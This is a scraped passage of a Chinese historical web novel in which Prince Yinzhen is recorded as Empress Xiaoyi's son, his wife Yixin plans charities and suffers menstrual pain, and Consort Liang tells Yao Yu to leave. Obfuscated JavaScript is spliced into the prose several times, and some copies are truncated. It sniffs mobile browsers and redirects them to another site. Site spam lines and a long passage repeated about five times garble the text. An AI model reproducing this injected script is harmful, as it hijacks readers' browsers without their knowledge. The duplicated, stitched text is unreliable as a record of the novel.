苏培盛和书房内起夜侍奉的奴才都吓破了胆连太子身边的近侍都身不由己跪了下去。 胤禛笑了抬手让他们都出去苏培盛不动 太子爷最近情绪不稳定半夜离京谁也不敢保证发生什么事情况且两位金尊玉贵的主子爷谁见了血他们这些奴才脑袋都得搬家。 “滚出去。”胤禛冷着脸吩咐“本王跟太子有话要说。” “出去。”太子吐出两个字。 心头的刀很锋利书房内只剩兄弟二人时胤禛后退一步太子又抵了上来。 太子癫狂问:“四弟是怎么哄得皇阿玛把你记到孝昭皇后名下的呢?嗯?教教孤?” 胤禛握住他的手腕也不管他手中的**看着太子猩红的眼冷静严肃问:“胤礽你还有别的事吗?你深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320576|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜随性前来就是要问问皇阿玛的心意是吗?” “你最好敢 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 把这刀捅到我的心头,否则,真的白白辛苦你冒风雪赶夜路,冒天下之大不韪深夜离京。” 太子胸膛起伏,想起在御案上看到的圣旨,就难耐心中火气,看着胤禛冷淡的眉眼,缓缓收了**。 “皇阿玛是喝了**汤不成?为什么你不愿,他也上赶着给你改玉牒?” 胤禛坐到软榻上,清冷抬眼,“我怎么知道?太子爷问皇阿玛,不是方便的多?” 太子某种程度上甚至很像个未长成的孩子,他可以讨厌康熙的约束和监视,可以不屑太子和嫡子的身份,但若是这一切给他的兄弟,他会躁动,会焦虑,会破防。 这算不算康熙的一种驯服呢? “你不愿意改玉牒,对不对?”太子眸色漆黑。 胤禛百无聊赖点点头,诚恳说,“不想做孝昭皇后之子。” “况且,二哥不觉得这是皇阿玛离间你我兄弟二人的手段吗?改个玉牒能多给我发俸禄吗!” 太子松口气,疏朗笑了,说:“那孤会帮你一把。今夜也是孤冒失些,只是想不清楚,为何你不在京城,皇阿玛仍是处处惦记。” 他确实有些情绪不稳定,他每日去乾清宫,都能察觉到老四的痕迹,实在心火难压,百思不得其解。 胤禛随意眯着眼,“嗯,辛苦太子爷了。” 太子随口问:“孤深夜来此,没吵到你和四弟妹苦短的春宵吧” 胤禛余光看到刚刚扔下去的**的位置,“太子爷歇在汀兰院吧,老十四他们来了,都住那。” 太子把胤禛从软榻上拽起来,胳膊搭在他的脖颈上,勾肩搭背跟胤禛往外走,“陪孤喝点酒,暖暖身子。” 如今的太子真是喜怒无常,他向来骄傲不羁,又知道康熙的底线,对于一些规矩也不甚在意。 胤禛微微偏头,对上太子的丹凤眼,他戏谑开口:“行啊,二哥不怕我下毒就好。” 第134章 雍亲王回京 太子一顿,扯了扯唇角,”孤现在只信得过你。” 胤禛和太子对视,弯唇笑了,随着他去汀兰院,吩咐苏培盛温几壶好酒来。 汀兰院这段时间就是你来我往,炭火从来不曾缺少,此时温暖如春,太子狂放不羁倚在软榻上,自顾自饮酒,他遗憾道,若是有女子相伴便更好了。 胤禛:“太子爷说笑了,臣弟还是要过日子的。” 太子哈哈大笑:”难不成富察氏管的这般严吗?“ 胤禛但笑不语,半晌又提醒道,“太子爷莫不是忘记了臣弟的隐疾了。” 太子一愣,主动给胤禛斟酒,遗憾道,“孤见你成亲两载,以为你没事了。” 怪不得两年还没有子嗣。 富察氏该不会还没做女人吧? “孤若是某一日.定会为你寻遍天下名医,这么多年了,宫里御医没一个靠谱的,十年如一日拿那套说辞来搪塞。” 胤禛回到正院时,悄声掀开床幔,却对上一双睁得圆溜溜的大眼睛。 “谁又给王爷灌酒了?”仪欣愤愤开口,心疼抱住他的腰,小声补充一句,“王爷只能被我灌醉。” 汀兰院里酩酊大醉的太子胤礽:富察氏,你最好说清楚,谁灌谁? 胤禛低头笑:“哦,那你可太坏了。” 简单洗漱一下,距离天亮还早,胤禛躺在床榻上将仪欣搂到怀里,仪欣娇娇呜呜含上他的胸膛。 胤禛轻轻叹口气,不紧不慢摸着她的小脑瓜,温声问:“小乖又在害怕什么呢?" “我感觉这两个多月,好多人都神神叨叨的。”仪欣心里不踏实。 胤禛被她逗笑,明白她的隐忧,从容安抚她,“本王在这,你怕什么?我会为仪欣遮风挡雨的。” ”王爷,还好你是非常聪明的。” 仪欣很少有忧虑的事情,听到胤禛的话,安心磨了磨牙,香甜陷入梦乡。 胤禛目光温软,手不自觉摸了摸她软绵绵的小腹,淡淡的檀香夹杂着她的玫瑰香气萦绕在床榻间,他若有所思捻了捻她手腕间的佛珠。 * 乾清宫。 太子自胤禛别院回京城,没有休息便去乾清宫见康熙,只有一个目的,老四记到孝昭皇后名下,不行。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 他夸夸其谈,指出诸多弊病,康熙面色愈发古怪,只叹道,”保成啊,你太心急了。罢了,阿玛总是不舍得你失望的。” 恰逢此时,胤禛在别庄见隆科多。 隆科多苍老许多,李四儿暴毙,佟佳氏式微,而他,成为了佟佳氏的罪人,若是不复佟佳氏往日荣光,他永不安宁。 他知道万岁爷要将四爷记在孝昭皇后名下,便忙不迭来投诚,他清楚,四爷可不是表面那般绵软,投诚和依附,都需要彻彻底底。 胤禛一言不发,任由隆科多回忆往昔,缅怀佟佳皇后,打感情牌,又听他表忠心,胤禛这才弯了弯唇,折腰将他扶起来。 今日康熙封笔,朝堂上爆了一件大事,四皇子胤禛改玉牒记在了孝懿皇后名下。 太子当场差点翻脸。 什么东西? 说着不让他失望,便是这样? 请问呢?哪个皇后又有什么区别?好像顺从了他的心意,又给他添堵是干什么? 诸位阿哥亦是神色古怪。 凭什么他在别庄休息,还给他记作嫡子? 太和殿内,一片哗然,有人想捞出点事情来反对,却发现没有任何可以反对的地方。 前些时日,万岁爷要将四爷记在孝昭皇后名下,他们列出许多不合规矩的地方,这时,孝懿皇后这个选择,格外水到渠成。 孝懿皇后本就是四皇子的养母啊。 好像,哪里不对劲? 为什么雍亲王全程未下场,就成嫡子了? 傅文低着头抿唇嗤笑,被虚晃一枪的滋味不好受吧。 他的目光缓缓看向喜形于色的隆科多,心里默哀一下,官场浸淫这么多年,还是被人卖了帮人数钱。 啧。 入夜,乾清宫。 康熙第一次回复了胤禛的请安信件,只有龙飞凤舞三个大字 ——滚回来。 胤禛回复的也很快。 ——嗯。 胤禛收到康熙的圣旨时,很平静。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16320577|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪欣却很兴奋,王爷终于成为孝懿皇后的亲子了,只待年后修改玉牒就大功告成啦,这么多皇子福晋,除了太子妃之外,只有她最尊贵了。 她 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 拿着圣旨看了又看,笑盈盈张罗着供起来。 “明日回京,去跟皇阿玛谢恩吧。"胤禛道。 万岁爷封笔后,雍亲王回京了。 胤禛牵着仪欣在红墙宫道上,仪欣穿着宝石蓝的吉服,胤禛穿着幽蓝色**袍,两个人步伐一致,不急不徐。 康熙在乾清宫等了许久,见胤禛进来,想将手边茶盏掷出去,但看到仪欣的身影又默不作声收回。 两人异口同声跪下行礼,”儿臣给皇阿玛请安。“ “起来吧。” 康熙还是很高兴的,别扭看一眼胤禛,觉得他似乎是黑了瘦了,其实他也没怎么生气,总归更是挂念他。 “别庄种地好玩吗?” 仪欣弯了弯眼睛,刚想回答,便听到胤禛咳嗽了一声。 胤禛道:“还好,就是记挂阿玛。” 这句话先奠定情感,胤禛怕她说出什么乐不思蜀的话来。 仪欣笑盈盈附和,“对呀对呀,就是记挂阿玛。阿玛吃到儿臣种的马铃薯了吗?" 康熙心中熨帖,笑呵呵说:”朕已经收到你们的孝心了。都是好孩子。” 一句好孩子给仪欣夸得美滋滋的,骄矜又真诚点点头,笑着说;“皇阿玛,我和王爷在别庄都把马铃薯攒着,攒到一筐就给皇阿玛送过来,还好皇阿玛也喜欢。” 漂亮!胤禛忍俊不禁看着仪欣,她最是懂得怎么样让人心软软,水到渠成般惹人喜爱,跟他装出来的就是不一样。 一句攒着送进京,康熙感动极了,又温声夸赞好几句,派梁九功去私库取来很多赏赐。 仪欣去拜见贵妃,只留胤禛一人在乾清宫。 胤禛诚恳跪下,再次行大礼谢恩,眸光亮晶晶看着康熙,笑着也不说话。 康熙冷哼一声踹了胤禛一脚,见他低头笑,又踹了一脚。 “得偿所愿了吗?” 第135章本王做你的小跟班 “没出息的东西,跟朕闹脾气,竟是扔下京城政事连夜跑了,朕怎么会有你这么不求上进的儿子?" "孝懿最疼爱你,你也向来孝顺,昨日,隆科多说起你幼时给孝懿还有八公主抄写佛经的事情,朕实在动容。” 胤禛憨笑,垂眸看着青石砖。 孝顺,不求上进,没有野心。 甚好。 “只是委屈你,佟佳氏如今名声极差。”康熙感慨道,他本想着给胤禛记作孝昭之子的,既然他不愿,也罢了。 “儿子不觉得委屈。” 其他皇子:不是,他哪里委屈了? 雍亲王回京,又记在了孝懿皇后名下,仪欣张罗个宴会,遍邀宗亲和上三旗的福晋。 仪欣喜欢热闹,她人缘极好,跟谁也能说的上话来,胤禛不干涉她的交友,她想办的宴会也全然支持。 她又做了好多身衣裳,满头珠翠,给寡淡的冬日增色添彩。 雍亲王府霎时热闹非凡。 这是雍亲王府自开府以来第一次办宴会,胤禛不知在哪里寻来了两筐荔枝,仪欣大大方方给各位福晋分下去。 一颗两颗,红得像小灯笼。 雍亲王虽然没有露面,却不遗余力昭示着他对仪欣的爱重。 三福晋、五福晋、七福晋、九福晋……除了太子妃之外,所有福晋能来的都来了。 隆科多的嫡福晋赫舍里氏也露面了,只是气色仍旧不太好,没多长时间便告罪离开。 只是,姚虞缺席了。 冬天到了,良妃又病得厉害,姚虞守在跟前伺候着。 仪欣办完一次宴会,累得在床榻上趴着不肯起来,最后被胤禛拎着扔到药浴池里泡了半个时辰。 出来就是红扑扑的,眼睛也红通通的,幽幽怨怨看着胤禛。 “王爷最近怎么总是欺负我?” 胤禛笑着捏她的后颈,按着小鸡崽子似的把仪欣抱在怀里,低声问:“哪里欺负你了?你想要不给,就算欺负吗?让你吃不饱就算欺负吗?” 仪欣炸毛:“啊,闭嘴!” 胤禛愉悦地轻笑出声。 确实有点欺负她好性子。 晚膳是羊肉锅子,仪欣最是爱吃 ,将他们自己种的马铃薯涮到铜锅里,仪欣吃着甚至有种虔诚的感觉。 胤禛看着她神神叨叨的,只觉得好有意思,一个劲给她荤素搭配夹菜。 夜幕降临,今年冬日多雪,仪欣娇娇弱弱窝在胤禛怀里,双腿搭在他的腰上,在翻看曲阜那边发来的信函,圆滚滚的手指轻轻扫过每一个字。 “王爷,曲阜那边好像不适合施善。”仪欣轻声道。 胤禛笑笑,“我觉得可以开设一个学堂,曲阜地处优越,学风清正,儒家风气浓厚,善事施行不如办学。” “我怕我做不好。”仪欣担忧道。 这几个月在曲阜投了大量金银,收效甚微,她对自己不免有些怀疑。 胤禛不紧不慢摩挲她的脊柱,垂眸扫一眼她的信函,“那就害怕地做。” 关键是去做。 有时候,完成比完美更重要。 “好,我要试试!” 胤禛弯唇,夸奖她懂事有能力,又说她有天赋,总能发现别人的需求。 仪欣轻声说:“王爷,如果我犯错误,总会让无辜的人担责任,我只是害怕这个。” 她爱财,却不吝啬银两。 从小到大,她只顾惜性命,因为时刻感知着生命的脆弱,所以格外怜惜世间生灵。 胤禛接过她手里握着的一摞信函,翻了翻,做到心中有数,“本王陪你做,没事。” 仪欣感受到莫名的安心,拱了拱胤禛的颈窝,“那王爷要认真协助我。” “嗯,本王做你的小跟班。” 仪欣痴痴笑,仰头亲了亲胤禛的下巴,又移到唇角,美滋滋觉得很安心,“我给王爷发工钱。” 胤禛很喜欢她依赖的感觉,捏着她的下巴亲吻她,如细细密密春雨般浸润她的心,春雨难以窥见,只有走近才能察觉到贵如油的湿润。 吻得气喘吁吁,胤禛捏着她的下巴,想到什么,停下来思索一会儿,仪欣看着他垂眸的模样觉得很有魅力,仰头索吻。 胤禛无奈道:“我刚刚在想,若是你想替郭络罗氏转移奉天的注意力,不妨在山西开设善堂,岳父大人曾是山西巡抚,你可以用得上很多资源。” “那我明日去给阿玛写信。” 胤禛面色古怪,笑道:“不用,明日…去春意楼 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 用膳吧。” “好。”仪欣弯唇,转而又有些忧虑,“王爷,你说,姚虞姐姐能离开吗?” “不一定。”胤禛捏了捏她的脸,“整日替别人操不完的心,陪本王睡觉。” 仪欣轻哼,慵懒搂住他的脖颈,下一秒便被抱到床榻上。 她和他久不住王府,胤禛还好,仪欣却觉得新鲜,一晚上频频往胤禛怀里钻,胤禛被她惹得额角直跳,拍一巴掌她的屁股。 “富察仪欣,你又想干嘛?” 仪欣理直气壮,“我只是想抱紧王爷。” 胤禛轻笑,声音低沉暗哑,“最好是这样,而不是想着占本王便宜。” 仪欣张了张嘴:我?占王爷便宜? “王爷,我们好久不在府中,今晚是不是还挺…陌生和刺激的。” 胤禛一噎,摸了摸她的下面,陌生?刺激?什么话都说。 “我们不是在偷情,赶紧睡觉,听话。”胤禛亲了亲她的额角,太闹人,来来**不老实,恨不得挂在他身上。 仪欣哼唧两声,搂着胤禛的手臂晕乎乎睡着。 半夜,仪欣是被疼醒的。 “王爷,我疼…” “哪里疼?” 胤禛一激灵,浑身泛起深深的恐惧,赶紧派人点亮寝殿烛火,再检查她时,发现她来了葵水,寝衣润湿一大片,连他的寝衣上也没有幸免,沾了一块血迹。 仪欣哽咽捂着小腹,温吞换洗。 宋太医提着药箱往正院跑,跑得气喘吁吁才得知只是葵水。 他步伐又慢了下来。 老天爷,自己吓自己。 胤禛换完寝衣在殿外召见宋太医。 他沉默一会儿,缓缓开口:“那避子膏药是否对福晋身体有影响,她此次葵水格外疼。” 宋太医失语。 第136章 飞湍瀑流争喧豗 “不会对福晋身子有任何影响虽是避孕药膏但药性极弱更何况不良影响呢?况且真正为福晋避孕的不是王爷每次喝得汤药吗?”宋太医解释“王爷稍安勿躁福晋只是白日有些累了。” 王爷甚至不如关心关心自己喝汤药会不会真的绝嗣。 苏培盛极有眼色塞给宋太医一个荷包笑着道辛苦。 宋太医捏了捏荷包抹一把头上的汗雍亲王出手实在大方。 “本王不会亏待你下去吧。”胤禛摆摆手。 每次情事过后他给仪欣下面擦的药膏都是辅助避孕的。 如今用于女子之身且避孕效果较好的药材例如红花麝香都太过凶猛伤身故而胤禛选择让宋太医给他调配汤药不至于伤害她的身体。 他喝的汤药才是起主要避孕作用的东西配合着给她擦拭的药膏不会出现任何差错。 只是药膏里有一味药材和她日常的药浴相生相克不可同时使用。 所以有时候不是他不行也并非他不想给 仪欣捧着一盏红枣茶在喝见胤禛走道床榻边她歪着身子轻轻靠过去想到他寝衣上的一片血迹羞得闭眼装死。 她想不明白床榻上一点血迹没有他身上一大片血。 她究竟是怎么做到的? 胤禛顺手接过她的红枣茶端着让她小口喝看着她脸上精彩的小表情无奈道:“睁开眼睛喝完睡觉了乖乖。” “王爷那寝衣呢?” 胤禛突然想明白她别扭什么笑着说:“寝衣我亲自处理了没经旁人沾手放心。" 仪欣悄悄松口气咕咚咕咚喝光红枣茶。 折腾完一遭寝殿又重新暗下来床幔外只留一盏极其微弱又温馨的烛火。 仪欣重新窝到胤禛怀里拉着他的手盖在自己的小腹上胤禛自然而然替她揉着温柔亲亲她的脑袋温声问:“还疼不疼?” “不是疼就是后腰好酸小腹还很胀感觉怎么躺着都不舒服。” 胤禛理解不了她说的酸酸涨涨的感觉还是把她往怀里搂了搂默默陪伴着她温暖干燥的手替她捂着小腹疼惜地亲了亲她的唇角。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 仪欣大惊,赶紧推了推他,慌乱道:“王爷别亲我,下面简直是飞湍瀑流争喧豗!” 胤禛:. 这时候倒是文绉绉的了。 怎么这么可爱呢? “乖,睡吧,不亲你。” 半晌,静谧无声。 “王爷,我决定了!” 胤禛被她突如其来的激情吓一跳,“好好好,决定了,决定什么了?” “我要给王爷做一件寝衣!” 胤禛一愣,从来没想过她在琢磨这个,喉咙颇为干涩,偏头又想亲吻她,想起她的飞湍瀑流争喧豗,又遗憾作罢,轻轻“嗯”了一声。 半晌才轻声补充,“谢谢仪欣。” 后半夜,仪欣才渐渐睡熟,昏昏沉沉间,她咕噜一下钻到一团浓雾里,待到大雾散尽,她揉了揉眼睛,惊喜发现远边云彩间有一只若隐若现的泛着金光的小矮马。 小矮马:谢谢,我是麒麟。 小矮马丢下两个肉丸子,咣叽一下砸到她的怀里。 啊,天哪,好像是一只缩小版的王爷,严肃抿着唇,看她一眼又别别扭扭转过身去,悄悄蹭到她的怀里; 还有一只格外眼熟,眉眼间处处像极了她,精致的像是在画里爬出来的胖娃娃,粉面桃花,处处说不尽的喜气。 “哇——好可爱!!!” 仪欣欢喜一会儿,想到什么又轻轻亲了亲他们的侧脸,眉眼弯弯又恋恋不舍抱了抱他们,说:“只是王爷大抵是不能有孩子,见到你们很开心,快回去吧。” 如今这个年岁,她也有点喜欢小孩子,但是她更喜欢王爷。 如果没有孩子,她和胤禛也会幸福的。 仪欣醒来没有提起昨晚的梦,只恹恹窝在胤禛的颈窝里。 胤禛以为是今日不让她去春意楼,她才闷闷不乐,手掌捂着她的小腹温声说,“若是你身体舒服些,咱们傍晚时就出门。” 仪欣幽幽叹口气,目光不自然看向胤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这话并不是客套,她嫁给胤禩将近十年,良妃从未为难过她一丝一毫,旧时良妃还是卫贵人,胤禩还养在惠妃膝下,跟在大阿哥身后,她进宫请安,惠妃娘娘更亲近看重大福晋,时常将她支出去给大福晋塞体给和赏赐,良妃知道了,月月攒着万岁爷的赏赐,自己在宫里拮据些,也要把她的那份补给她。 第137章 良妃娘娘 良妃庸懦,在宫里从来不争不抢,但是却会在德妃指桑骂槐说她不生养时,强硬反驳回去,说姚虞是做嫡福晋的,不管有没有子嗣,她都不会允许老八亏待了姚虞。 还有很多很多事情,不论如何,这些情分,她郭络罗姚虞都认。 所以,她为良妃养老送终。 良妃有些咳嗽,脸上霎时间面无血色,姚虞半搂半抱着良妃给她喂水,却发现良妃轻得只剩下一把骨头了。 “都出去吧,本宫跟儿媳说几句体己话。”良妃微笑着看姚虞,吩咐殿内宫女都出去。 姚虞坐在床沿上,沉默着看她们离开,她今天情绪太差,气色也差,大抵是额娘看出什么来了。 良妃大限将至,若是托付些什么,姚虞也没办法完全无动于衷。 姚虞强颜欢笑,“额娘,有什么话等您好了再说,儿媳都等着呢。” “姚姚,额娘有东西要给你。” 良妃在床榻间慢慢摸索,颤抖着手拿出一个绢帕,姚虞赶忙接过,看着良妃哆嗦着打开。 “这是额娘补给你的玉镯。”良妃喘着大气,缓一下流下两行清泪。 “从前老八拿着本宫封妃的玉镯去拉拢年氏,还让年氏落了你的颜面,额娘从前以为那镯子是送给你的,若是早知那般,无论如何都不会让他拿过去。” 姚虞一愣,没想到良妃还记得这种事。 良妃从绢帕里拿出玉镯,捋了捋姚虞的手,想给她戴上,却发现自己有气无力,只能面色苍白看着她。 姚虞主动戴上,惊喜弯唇笑着说:“多谢额娘,我喜欢。” 良妃高兴笑了,她目光有些浑浊,靠在姚虞的肩膀上凝视着宝石蓝的床幔。 “老八有福气,娶了你做福晋,他最有福气。” 姚虞笑笑,来了,良妃娘娘大抵是要劝和了。 “能嫁给八阿哥,也是儿媳的福气。” 良妃闻言,无奈看她一眼:“好孩子,别哄我了。老八他是个蠢人啊,这么多年,委屈了。” “额娘还记得第一次见你,”良妃喘口气,接着回忆,“好孩子,额娘不怕你笑话,当时还怪紧张的。” “那时候,额娘只是惠妃娘娘宫里的小贵人,母族也低微,而你的母族,便是太子妃也不及,又漂亮又端庄。 ” “你没有看不上额娘,还处处体贴侍奉,”良妃哽咽,握紧姚虞的手,手背上的血管衬得她更虚弱,“那时候,额娘看出来你喜欢老八,真的高兴。” 姚虞没有说话,默默替她擦了擦眼泪,自己的眼眶也红了。 “人之将死,其言也善。”良妃笑了。 姚虞握紧她的手,哀伤摇了摇头,“不,额娘,什么人之将死?儿媳会和胤禩好好的,额娘不要再说丧气话。” 不论如何,她愿意让良妃安心地走。 “听我说完。”良妃咬了咬舌尖,不舍地看着姚虞,抬着手摸了摸她的脸,“孩子…走吧,走吧,走…” 姚虞浑身一震,错愕看着良妃,不敢相信她的耳朵。 良妃让她…走。 “额娘…你…” “我这一辈子卑怯软弱,没有把胤禩教好,也没本事自己养他,是我的错,让他长成这样冷血自私的模样,让他不懂怎么去疼爱一个人。” “但是,这些不能让你来承受恶果。姚虞,额娘好像把你当女儿了,走吧,我的女儿,替额娘看看这世间山川,过你自己想要的日子。” 